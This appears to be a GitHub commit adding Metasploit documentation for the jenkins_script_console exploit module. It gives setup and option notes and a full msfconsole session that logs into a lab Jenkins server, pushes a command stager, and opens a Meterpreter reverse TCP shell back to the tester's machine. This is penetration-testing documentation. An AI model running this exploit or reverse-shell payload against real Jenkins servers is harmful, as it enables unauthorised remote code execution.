Skip to content

Commit 3d7a424

Browse files
pbarry-r7pbarry-r7
committed
Land rapid7#7510, Add documentation for jenkins_script_console
2 parents 0b23365 + f9041bc commit 3d7a424

File tree

1 file changed

+130
-0
lines changed

1 file changed

+130
-0
lines changed

‎documentation/modules/exploit/multi/http/jenkins_script_console.md

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
## Vulnerable Application
2+
3+
Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
4+
binaries are available for a variety of operating systems. Both LTS and weekly
5+
builds are available.
6+
7+
Default settings have the script console enabled and require a valid user
8+
account in order to access it. A known account can be used with this module by
9+
setting the `USERNAME` and `PASSWORD` options.
10+
11+
## Verification Steps
12+
13+
Example steps in this format:
14+
15+
1. Install the application
16+
1. Start msfconsole
17+
1. Do: ```use exploit/multi/http/jenkins_script_console```
18+
1. Do: ```set RHOST [target host]```
19+
1. Do: ```set TARGET [target id]```
20+
1. Do: ```exploit```
21+
1. You should get a shell.
22+
23+
## Options
24+
25+
**TARGETURI**
26+
27+
The path to the target instance of Jenkins.
28+
29+
**USERNAME**
30+
31+
A username to an account that has access to the script console. This is only
32+
necessary if the Jenkins instance has been configured to require
33+
authentication.
34+
35+
**PASSWORD**
36+
37+
A password to an account that has access to the script console. This is only
38+
necessary if the Jenkins instance has been configured to require
39+
authentication.
40+
41+
## Scenarios
42+
43+
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
44+
45+
```
46+
msf > use exploit/multi/http/jenkins_script_console
47+
msf exploit(jenkins_script_console) > set TARGETURI /
48+
TARGETURI => /
49+
msf exploit(jenkins_script_console) > set USERNAME steiner
50+
USERNAME => steiner
51+
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
52+
PASSWORD => I<3msf!
53+
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
54+
RHOST => 192.168.254.126
55+
msf exploit(jenkins_script_console) > set RPORT 8080
56+
RPORT => 8080
57+
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
58+
PAYLOAD => windows/meterpreter/reverse_tcp
59+
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
60+
LHOST => 192.168.254.132
61+
msf exploit(jenkins_script_console) > exploit
62+
63+
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
64+
[*] [2016.10.29-18:43:07] Checking access to the script console
65+
[*] [2016.10.29-18:43:07] Logging in...
66+
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
67+
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
68+
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
69+
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
70+
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
71+
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
72+
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
73+
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
74+
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
75+
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
76+
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
77+
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
78+
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
79+
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
80+
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
81+
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
82+
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
83+
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
84+
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
85+
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
86+
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
87+
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
88+
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
89+
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
90+
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
91+
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
92+
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
93+
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
94+
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
95+
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
96+
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
97+
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
98+
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
99+
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
100+
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
101+
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
102+
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
103+
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
104+
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
105+
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
106+
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
107+
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
108+
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
109+
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
110+
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
111+
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
112+
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
113+
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
114+
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
115+
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
116+
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
117+
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
118+
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
119+
120+
meterpreter > sysinfo
121+
Computer : PWNME-PC
122+
OS : Windows 7 (Build 7601, Service Pack 1).
123+
Architecture : x64 (Current Process is WOW64)
124+
System Language : en_US
125+
Domain : WORKGROUP
126+
Logged On Users : 2
127+
Meterpreter : x86/win32
128+
meterpreter >
129+
130+
```

0 commit comments

Comments
 (0)